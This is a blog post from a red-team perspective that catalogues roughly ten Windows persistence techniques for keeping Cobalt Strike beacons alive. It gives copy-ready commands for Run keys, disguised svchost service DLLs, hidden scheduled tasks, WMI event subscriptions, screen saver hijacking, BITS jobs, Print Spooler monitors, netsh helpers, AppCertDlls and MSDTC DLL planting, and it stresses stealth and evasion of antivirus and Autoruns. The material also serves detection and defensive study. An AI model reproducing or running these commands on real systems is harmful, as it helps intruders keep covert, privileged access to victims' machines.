DEV Community

Cover image for Windows Persistence Techniques
Excalibra
Excalibra

Posted on

Windows Persistence Techniques

0x00 Preface and Scenario

In red team operations, it is currently common practice to use Cobalt Strike (CS) for unified management of acquired shells or phished targets. However, practical experience reveals that CS does not natively integrate a one‑click persistence function. Many third‑party plugins developed by the community are either incomplete or cumbersome to use, and some even contain bugs that give a false impression of success, ultimately resulting in the loss of the shell.

Consequently, this article collates persistence methods within the Windows environment based on the aforementioned scenario. Subsequently, a selection of the more frequently employed and convenient operations will be integrated into a CS plugin to ensure that access is rapidly maintained immediately after a shell is obtained.

0x01 Startup Directory

Required Privileges: With or without elevation.

This is the most common and simplest method of persistence. Programmes or shortcuts placed in this directory execute automatically when a user logs in.

For NT6 and later, the directories are as follows:

Current user:
C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
All users:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Enter fullscreen mode Exit fullscreen mode

For pre‑NT6 systems:

Current user:
C:\Documents and Settings\Hunter\Start Menu\Programs\Startup
All users:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
Enter fullscreen mode Exit fullscreen mode

0x02 Registry Keys

Required Privileges: With or without elevation.

The extensive Windows registry and its relatively lax permission management provide numerous opportunities for manipulation. Among these, registry auto‑start entries are a frequently used persistence mechanism.

As the core database of Windows, the registry stores a wealth of critical system and user information. Windows provides two independent registry paths: HKEY_CURRENT_USER (HKCU), which pertains to the current user, and HKEY_LOCAL_MACHINE (HKLM), which corresponds to the physical machine and can be modified only by privileged accounts.

With the increasing awareness of security, most Windows machines compromised during red team engagements operate with reduced privileges. For example, elevating privileges on a phished PC is often unnecessary; even if an Administrator’s startup entry is written after elevation, the user will still log into their own account on the next session, rendering the persistence ineffective.

All relevant registry keys for Windows persistence are enumerated below:

1. Load Key
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load

2. Userinit Key
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
This key normally contains userinit.exe. It permits multiple programmes separated by commas, e.g. userinit.exe,evil.exe.

3. Explorer\Run Key
The Explorer\Run key exists under both HKCU and HKLM.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

4. RunServicesOnce Key
This key starts service programmes before user logon and prior to other programmes launched via registry keys. It exists under both HKCU and HKLM.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

5. RunServices Key
Programmes specified here run immediately after those from RunServicesOnce, but both execute before user logon.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

6. RunOnce\Setup Key
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup

7. RunOnce Key
Installation programmes typically use the RunOnce key to auto‑start. Its locations are:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
[Pre‑NT6] HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
The HKLM RunOnce key runs immediately after user logon, before other Run keys; the HKCU RunOnce key runs after the operating system has processed other Run keys and the Startup folder.

8. Run Key
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Run is the most commonly employed auto‑start key. The HKCU Run key executes after the HKLM Run key, but both are processed before the Startup folder.
Enter fullscreen mode Exit fullscreen mode

Command to write a registry key:

reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"

0x03 Services

Required Privileges: Administrator privileges without UAC reduction.

Creating a service requires non‑reduced administrator rights; therefore, privilege escalation is a prerequisite for this persistence method. However, it offers higher stealth compared to registry keys (e.g. loading a DLL via svchost service groups can conceal the malicious process). Both CMD and PowerShell can add services with commands. Example:

sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem"

This straightforward approach launches a service via cmd. A minor pitfall exists: a shellcode loader that blocks the main thread may cause the service to appear unresponsive during startup and fail. Hence, invoking cmd is mandatory; the service cannot be created directly. Upon successful start, the process runs with SYSTEM privileges before user logon. The obvious drawback is that the malicious process remains a distinct entity, reducing stealth, as illustrated below:

Another category of services is launched through svchost. Numerous Windows services are loaded by injecting into this host process (a Microsoft‑sanctioned DLL injection mechanism). Consequently, if the DLL itself evades detection, antivirus software will ignore this behaviour; moreover, as the malicious process is not standalone, stealth is enhanced.

However, loading a service via svchost cannot be accomplished with a single command. It requires crafting a service DLL and adding extra registry entries. Because 64‑bit systems have dual registry views and two svchost instances, the commands differ slightly.

Commands for 32‑bit systems:

sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync
Enter fullscreen mode Exit fullscreen mode

Commands for registering a 32‑bit service on 64‑bit systems:

sc create TimeSync binPath= "C:\Windows\Syswow64\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync
Enter fullscreen mode Exit fullscreen mode

Commands for native 64‑bit services:

sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:64
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:64
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:64
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:64
sc start TimeSync
Enter fullscreen mode Exit fullscreen mode

A significant caveat: the reg add command overwrites existing registry values. Most keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost are of type REG_MULTI_SZ (multi‑string). Therefore, one must never write to an existing key, as it holds services essential for system boot; overwriting would cause severe issues. (Hence, the commands above use "netsvr", a key that does not exist by default.)

0x04 Scheduled Tasks

Required Privileges: Administrator privileges without UAC reduction, or standard user.

Scheduled tasks constitute another excellent persistence vector. Unlike auto‑start registry keys and services, scheduled tasks offer greater diversity and flexibility in configuration, and their location is relatively concealed (manual inspection requires several additional clicks). For instance, during security service engagements, the notorious "DriverLife" cryptominer employed persistence by creating multiple PowerShell scripts within scheduled tasks, with its stager directly embedded as a base64‑encoded argument in the command line. The input field is quite narrow, and less experienced engineers might easily overlook the trailing content.

Windows provides the SCHTASKS command for managing scheduled tasks, with the following options:

SCHTASKS /parameter [arguments]

Description:
    Enables an administrator to create, delete, query, change, run, and end scheduled tasks on a local or remote system.

Parameter List:
    /Create         Creates a new scheduled task.
    /Delete         Deletes the scheduled task(s).
    /Query          Displays all scheduled tasks.
    /Change         Changes the properties of a scheduled task.
    /Run            Runs the scheduled task on demand.
    /End            Stops the currently running scheduled task.
    /ShowSid        Shows the security identifier corresponding to a scheduled task name.
    /?              Displays this help message.
Enter fullscreen mode Exit fullscreen mode

For persistence, the Create parameter is most frequently used. Due to its numerous arguments, the full help text is reproduced below for reference:

SCHTASKS /Create [/S system [/U username [/P [password]]]]
    [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
    [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
    [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
    [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]

Description:
     Allows an administrator to create a scheduled task on a local or remote system.

Parameter List:
    /S   system        Specifies the remote system to connect to. If omitted, the local system is used.
    /U   username      Specifies the user context under which SchTasks.exe should execute.
    /P   [password]    Specifies the password for the given user context. Prompts for input if omitted.
    /RU  username      Specifies the "run as" user account (user context) under which the task runs. For the system account, valid values are "", "NT AUTHORITY\SYSTEM", or "SYSTEM". For v2 tasks, "NT AUTHORITY\LOCALSERVICE", "NT AUTHORITY\NETWORKSERVICE", and common SIDs are also available.
    /RP  [password]    Specifies the password for the "run as" user. To prompt for the password, the value must be "*" or none. The password is ignored for the system account. Must be used with /RU or /XML.
    /SC   schedule      Specifies the schedule frequency.
                       Valid schedule types: MINUTE, HOURLY, DAILY, WEEKLY, MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
    /MO   modifier      Refines the schedule type to allow finer control over recurrence. Valid values are listed in the "Modifiers" section below.
    /D    days          Specifies the day(s) of the week to run the task. Valid values: MON, TUE, WED, THU, FRI, SAT, SUN, and for MONTHLY schedules 1–31 (day of month). Wildcard "*" specifies all days.
    /M    months        Specifies month(s) of the year. Defaults to the first day of the month. Valid values: JAN, FEB, MAR, APR, MAY, JUN, JUL, AUG, SEP, OCT, NOV, DEC. Wildcard "*" specifies all months.
    /I    idletime      Specifies the amount of idle time to wait before running a scheduled ONIDLE task. Valid range: 1 to 999 minutes.
    /TN   taskname      Specifies a name that uniquely identifies this scheduled task.
    /TR   taskrun       Specifies the path and file name of the programme to run at the scheduled time. Example: C:\windows\system32\calc.exe
    /ST   starttime     Specifies the start time to run the task. Time format is HH:mm (24‑hour), e.g. 14:30 for 2:30 PM. Defaults to current time if not specified. Required for /SC ONCE.
    /RI   interval      Specifies the repetition interval in minutes. Not applicable for schedule types: MINUTE, HOURLY, ONSTART, ONLOGON, ONIDLE, ONEVENT. Valid range: 1–599940 minutes. If /ET or /DU is specified, the default is 10 minutes.
    /ET   endtime       Specifies the end time to run the task. Time format HH:mm, e.g. 14:50 for 2:50 PM. Not applicable for ONSTART, ONLOGON, ONIDLE, ONEVENT.
    /DU   duration      Specifies the duration to run the task. Time format HH:mm. Not applicable with /ET or schedule types ONSTART, ONLOGON, ONIDLE, ONEVENT. For /V1 tasks, if /RI is specified, duration defaults to 1 hour.
    /K                  Terminates the task at the end time or duration. Not applicable for ONSTART, ONLOGON, ONIDLE, ONEVENT. Must specify /ET or /DU.
    /SD   startdate     Specifies the first date on which the task runs. Format yyyy/mm/dd. Defaults to the current date. Not applicable for ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
    /ED   enddate       Specifies the last date the task runs. Format yyyy/mm/dd. Not applicable for ONCE, ONSTART, ONLOGON, ONIDLE.
    /EC   ChannelName   Specifies the event channel for OnEvent triggers.
    /IT                Allows the task to run interactively only if the /RU user is currently logged on. This task runs only when the user is logged on.
    /NP                No password is stored. The task runs non‑interactively as the given user. Only local resources are available.
    /Z                 Marks the task for deletion after its final run.
    /XML  xmlfile       Creates a task from the task XML specified in a file. Can be combined with /RU and /RP switches, or /RP alone when the task XML already contains the principal.
    /V1                Creates a task visible to pre‑Vista platforms. Not compatible with /XML.
    /F                 Forcefully creates the task and suppresses warnings if the specified task already exists.
    /RL   level        Sets the run level for the job. Valid values: LIMITED and HIGHEST. Default is LIMITED.
    /DELAY delaytime   Specifies the wait time to delay the task after the trigger fires. Time format mmmm:ss. This option is only valid for schedule types ONSTART, ONLOGON, ONEVENT.
    /?                 Displays this help message.

Modifiers: Valid values for the /MO switch per schedule type:
    MINUTE:  1 to 1439 minutes.
    HOURLY:  123 hours.
    DAILY:   1 to 365 days.
    WEEKLY:  1 to 52 weeks.
    ONCE:    No modifier.
    ONSTART: No modifier.
    ONLOGON: No modifier.
    ONIDLE:  No modifier.
    MONTHLY: 1 to 12, or FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY.
    ONEVENT: XPath event query string.

Examples:
    ==> Create a scheduled task "doc" on remote machine "ABC" that runs notepad.exe hourly under the "runasuser" account.
        SCHTASKS /Create /S ABC /U user /P password /RU runasuser /RP runaspassword /SC HOURLY /TN doc /TR notepad

    ==> Create a scheduled task "accountant" on remote machine "ABC" that runs calc.exe every five minutes between a start and end time on specified dates.
        SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE /MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00 /SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword

    ==> Create a scheduled task "gametime" that runs FreeCell on the first Sunday of every month.
        SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime /TR c:\windows\system32\freecell

    ==> Create a scheduled task "report" on remote machine "ABC" that runs notepad.exe every week.
        SCHTASKS /Create /S ABC /U user /P password /RU runasuser /RP runaspassword /SC WEEKLY /TN report /TR notepad.exe

    ==> Create a scheduled task "logtracker" on remote machine "ABC" that runs notepad.exe every five minutes from a specified start time with no end time; password prompt for /RP.
        SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE /MO 5 /TN logtracker /TR c:\windows\system32\notepad.exe /ST 18:30 /RU runasuser /RP

    ==> Create a scheduled task "gaming" that runs freecell.exe daily from 12:00 to 14:00 and ends automatically.
        SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00 /ET 14:00 /K

    ==> Create a scheduled task "EventLog" to start wevtvwr.msc whenever event 101 is published in the "System" channel.
        SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT /EC System /MO *[System/EventID=101]

    ==> File paths may contain spaces; use two sets of quotes—one for CMD.EXE and one for SchTasks.exe. The outer quotes for CMD must be double quotes; inner quotes can be single or escaped double quotes:
        SCHTASKS /Create /tr "'c:\program files\internet explorer\iexplorer.exe' \"c:\log data\today.xml\"" ...
Enter fullscreen mode Exit fullscreen mode

The "Task Scheduler Library" contains folders. In a pristine Windows installation, there are no scheduled tasks in the root directory, as shown:

Naturally, subdirectories are also empty:

All built‑in tasks reside deep within nested folders. To maintain stealth, it is advisable to adhere to the default Windows convention by creating our own subdirectory and task under \Microsoft\Windows\. Example command:

SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe

A beacon is received without requiring user logon:

In the process tree, the malicious process is spawned by taskeng.exe, the Task Scheduler engine. Its stealth is inferior to DLL services but superior to auto‑start registry keys.

However, another significant issue emerges: the SCHTASKS command has incomplete functionality. Many configuration options cannot be manipulated, such as adding multiple triggers simultaneously or modifying settings in the "Conditions" and "Settings" tabs, as shown below:

These options remain at their creation defaults, meaning our scheduled task will not start upon wake from sleep, will stop when AC power is disconnected, and will automatically cease after three days. Yet these advanced settings cannot be configured via command line. A search of the Microsoft community yielded the following official response:

It is both amusing and frustrating. For normal users, this is unproblematic, but for red teams, manipulating the GUI is inconvenient. While one could craft a DLL module or executable that directly calls the Win32 API to modify these settings, that requires uploading an additional file, reducing efficiency. Therefore, scheduled task persistence can serve only as a fallback measure, not a fully reliable method.

A somewhat similar vector is Group Policy. Startup scripts can execute cmd or PowerShell scripts to run arbitrary commands, but because the command‑line version of the Group Policy Editor is far too limited, it will not be expanded upon here. (If desktop access is available, configuring a startup script directly via gpedit.msc achieves persistence with relatively high stealth.)

0x05 WMI

Required Privileges: Administrator privileges without UAC reduction.

WMI can be regarded as a set of APIs that interact directly with the Windows operating system. Being a native tool that requires no installation, it is also a valuable aid for persistence.

Because WMI events execute in a loop, to avoid spawning countless shells, one can restrict execution using the system uptime (as long as the trigger delay falls within the specified window; some machines boot slowly, so the start time should be set higher). Example commands:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""
Enter fullscreen mode Exit fullscreen mode

Due to possible variations in the exact timing window, multiple beacons may appear in certain circumstances:

Inspecting the process tree reveals moderate stealth:

0x06 Screen Saver

Required Privileges: Standard user.

Although not all users employ a screen saver, the relevant configuration is conveniently stored in the registry, as shown in the four keys below:

Full paths:

HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
Enter fullscreen mode Exit fullscreen mode

Write directly to the registry:

reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f
Enter fullscreen mode Exit fullscreen mode

Examining the process tree shows it is spawned by winlogon.exe – stealth is moderate:

A minor pitfall: if a screen saver has never been configured, all keys except ScreenSaveActive (which defaults to 1) do not exist. Proper screen saver operation requires all keys to hold data; therefore, all four must be rewritten. Additionally, testing shows the shortest trigger time is 60 seconds – even if a smaller value is set, the programme still executes after 60 seconds.

Naturally, as indicated by the registry path, this method yields a shell with only current‑user privileges. Its advantage is that it does not require elevation.

0x07 Background Intelligent Transfer Service (BITS)

Required Privileges: Administrator rights (UAC bypass allowed).

The Background Intelligent Transfer Service (BITS) facilitates the transfer of large amounts of data without degrading network performance. It accomplishes this by transferring data in small blocks, utilising available idle bandwidth, and reassembling the data at the destination. BITS is supported on Microsoft® Windows Server 2003 family operating systems and Microsoft® Windows 2000. (Source: Baidu Baike)

Many online "penetration testing tutorials" include using the bitsadmin command to download files or execute commands, but it can also be employed for persistence and can evade detection by Autoruns and anti‑virus protection against auto‑start command execution.

Adding a task is straightforward, requiring only four commands:

bitsadmin /create evil
bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"
bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL
bitsadmin /Resume evil
Enter fullscreen mode Exit fullscreen mode

One advantage is that it can be executed within a reduced administrator session (bypassing UAC), and naturally the resulting beacon also operates with reduced privileges:

After a reboot, since the task has not been completed, the system will re‑launch it, thus achieving persistence. Although BITS tasks have a default lifetime of 90 days—after which they are automatically cancelled—this is sufficient for red team operations:

Inspecting the process tree, it is launched by svchost.exe -k netsvcs. However, because it remains an independent process, stealth is moderate:

This method bypasses all current startup inspection tools; the only means of detection is through the bitsadmin command:

bitsadmin /list /allusers /verbose

All tasks are displayed as shown (screenshot from a different test machine, hence data differs):

0x07 Print Spooler Service

Required Privileges: Administrator privileges without UAC reduction.

The Print Spooler service manages print jobs in the Windows operating system. Because many users still rely on printers, optimisation software does not recommend disabling this service. The Print Spooler API includes a function, AddMonitor, which installs a local port monitor and links configuration, data, and monitor files. This function injects a DLL into the spoolsv.exe process to implement the desired functionality. The DLLs required by the system in its default state are as follows:

These DLLs contain print‑driver‑related content. We can exploit this mechanism to plant a malicious DLL. Of course, as with service registration, this requires full administrator privileges.

First, place the malicious DLL in C:\Windows\System32\:

Then execute the command to add the relevant registry entry and the Driver key:

reg add "hklm\system\currentcontrolset\control\print\monitors\monitor" /v "Driver" /d "monitor.dll" /t REG_SZ

After reboot, the malicious DLL is automatically loaded into spoolsv.exe, offering high stealth:

The C2 session is established with SYSTEM privileges (MSF is used here for demonstration; a CS DLL would need to be rewritten):

0x08 Netsh

Required Privileges: Administrator privileges without UAC reduction.

Netsh is a native Windows command‑line tool for network configuration. It can import helper DLLs to extend functionality, and once imported, the DLL path is stored in the registry for permanent effect:

Thus, persistence can be achieved by importing a helper DLL. The command format is:

netsh add helper [Absolute evil DLL path]

However, because netsh does not start automatically, an auto‑start entry must be added as well:

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"

After reboot, the shell is still obtained:

The process tree and loaded malicious module are shown below; stealth is relatively high:

Because the testing still relied on an MSF‑generated DLL, launching netsh pops up a console window and blocks; terminating the netsh process drops the connection. Therefore, for practical red‑team use, a custom DLL must be developed.

0x09 AppCertDlls

Required Privileges: Administrator privileges without UAC reduction.

It is well known that the AppInit_DLLs registry value is read when user32.dll is loaded into memory; if a value exists, LoadLibrary() is called to load the user‑mode DLL. In earlier years, this method was quite popular for DLL‑injection persistence, but it has become ineffective on many modern systems. The reason is a flag check in kernel32.dll during startup, as illustrated:

kernel32.dll queries class 0x67 via NtQuerySystemInformation and then checks whether the ReturnLength is equal to 2 (bitwise AND operation). If equal, it skips loading the DLL and returns.

Information regarding 0x67 can be found online:

This flag is toggled by bcdedit.exe /set testsigning on/off. However, most recent machines have Secure Boot enabled in the BIOS by default; unless this option is disabled, the flag cannot be modified. Consequently, this method currently faces considerable limitations.

Nevertheless, there exists another, less commonly used registry key that also permits automatic DLL loading: AppCertDlls. When a process invokes APIs such as CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec, the DLLs listed in this key are automatically loaded. Fortunately, many programmes call these APIs.

A test programme calling one of these APIs:

Execution:

MSF session established:

Inspecting the process tree:

It merely spawns a rundll32.exe under a legitimate process, loading the malicious DLL. Stealth is high.

However, the MSF DLL remains usable only for testing. Because many system programmes call these APIs (e.g. explorer.exe), and the MSF DLL blocks the process, it can prevent the desktop from loading at startup. Therefore, a custom DLL must be developed for operational use.

0x0A MSDTC

Required Privileges: Administrator privileges without UAC reduction.

msdtc.exe is the Microsoft Distributed Transaction Coordinator. This process is invoked by Microsoft Personal Web Server and Microsoft SQL Server, and it manages multiple servers.

Upon startup, the service attempts to load three DLL files from System32: oci.dll, SQLLib80.dll, and xa80.dll. The service entry is shown below:

The corresponding registry entries:

In a default Windows installation, the file oci.dll is missing from the System32 folder. Provided write access exists, a malicious DLL with that name can be placed there, and malicious code will execute when the service starts.

By default, the startup type is set to "Manual". Configure automatic startup with:

sc qc msdtc
sc config msdtc start= auto
Enter fullscreen mode Exit fullscreen mode

The malicious DLL will be loaded into the msdtc.exe process, yielding high stealth:

0x0B Conclusion

Initially, approximately twenty persistence techniques were catalogued, but in practice many are not universally applicable—some are limited to specific scenarios, particular configurations, or certain applications. Others are "passive" persistence methods, such as shortcut replacement; aside from exploiting a shortcut vulnerability, they will not trigger unless the target clicks them. Therefore, those with significant limitations were removed to streamline the article (and reduce workload), resulting in the ten techniques presented above, which are relatively generic.

During the collation process, a frustration at the Ring3 level became evident: user‑mode persistence that aims for high stealth and evasion of behavioural detection by anti‑virus must rely on native Windows functionality (living off the land). If these features or modules are disabled, uninstalled, or fail to start normally in special environments, the approach becomes problematic. Thus, preparing multiple methods is always beneficial.

Due to time constraints, some DLLs required for demonstration were directly generated by MSF, but their evasion capabilities are unsatisfactory. When developing the CS plugin later, these DLLs must be completed and subjected to further anti‑virus treatment.

Top comments (0)